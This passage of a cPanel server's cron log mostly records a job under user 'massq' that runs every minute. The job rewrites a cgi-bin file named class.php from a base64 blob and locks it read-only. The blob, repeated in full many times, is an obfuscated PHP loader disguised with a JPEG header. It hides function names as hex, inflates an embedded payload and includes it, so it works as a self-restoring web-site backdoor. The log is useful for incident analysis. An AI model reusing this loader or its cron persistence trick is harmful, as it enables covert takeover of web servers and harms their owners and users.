g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:49:01 server CROND[10186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:50:01 server CROND[10339]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 13:50:01 server CROND[10340]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:50:01 server CROND[10342]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 13:50:01 server CROND[10341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:50:01 server CROND[10348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:51:01 server CROND[10587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:52:01 server CROND[10670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:53:01 server CROND[10726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:54:01 server CROND[10771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:55:01 server CROND[10928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:55:01 server CROND[10929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:55:01 server CROND[10930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:56:01 server CROND[11146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:57:01 server CROND[11201]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 13:57:01 server CROND[11202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:58:01 server CROND[11261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:59:01 server CROND[11323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:00:01 server CROND[11454]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 14:00:01 server CROND[11455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 14:00:01 server CROND[11457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:00:01 server CROND[11458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:00:01 server CROND[11459]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:01:01 server CROND[11617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:01:01 server CROND[11618]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 14:01:01 server run-parts(/etc/cron.hourly)[11618]: starting 0anacron
Apr  9 14:01:01 server run-parts(/etc/cron.hourly)[11631]: finished 0anacron
